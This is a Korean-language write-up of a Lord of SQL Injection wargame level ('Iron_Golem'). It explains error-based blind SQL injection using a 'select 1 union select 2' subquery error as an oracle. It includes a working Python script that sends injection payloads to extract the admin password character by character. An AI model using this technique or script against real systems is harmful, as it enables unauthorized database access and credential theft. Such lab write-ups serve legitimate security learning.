[Iron_Golem] LOS 문제풀이21

   [Iron_golem] LOS 문제풀이21

SQL Injection Web Hacking

LOS 사이트 : http://los.eagle-jump.org/

[힌트]

1. 에러기반 SQL Injection

2. select 1 union select 2

소스코드를 보면 sleep과 benchmark를 해놓았기 때문에 로딩을 통해서 패스워드를 알아내기는 어렵다. 잘 보면 에러를 통해서 이 쿼리가 제대로 실행되는지 안되는지 확인할 수가 있다. 처음에는 길이를 알아야 되기 때문에 if문과 length를 이용해 길이를 알아보았다. 쿼리가 제대로 실행이 된다면 에러가 뜨는 것이 정상이다. 에러코드를 만들때에는 실행될때만 에러가 발생해야 되는 코드를 만들어야 되기때문에 이 점을 이용한 코드인 select 1 union select 2 를 이용하면 된다. 그렇게해서 찾은 결과 패스워드 길이는 16인 것을 확인할 수 있다. 그리고 나서 하나씩 패스워드를 찾았다. 찾다보니 실제 패스워드는 4개가 나오고 그 뒤에 12개는 null값임을 확인할 수 있었다. 

[Iron_Golem 자동화프로그램] - Python3

#LOS_Iron-Golem
import socket
for i in range(1,16):
  for ch in range(0,123):
    sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    sock.connect(('104.27.174.42',80))
 
    header = "GET /iron_golem_d54668ae66cb6f43e92468775b1d1e38.php"
    header += "?pw=' or id='admin' and if(ord(mid(pw,"+str(i)+",1))="+str(ch)+", (select 1 union select 2),2)%23 "
    header += "HTTP/1.1\r\n"
    header += "Host:los.eagle-jump.org\r\n"
    header += "Cookie:PHPSESSID=93o1ken6jq64cvtg003p7a6t37\r\n"  #쿠키는 현재 세션값
    header += "\r\n"
 
    response = ''
    sock.send(header.encode())
    response = sock.recv(65535)
    response = response.decode()
    if "Subquery returns more than 1 row" in response:
      print( chr(ch), end='',flush=True)
      sock.close()
      break;
    sock.close()
print()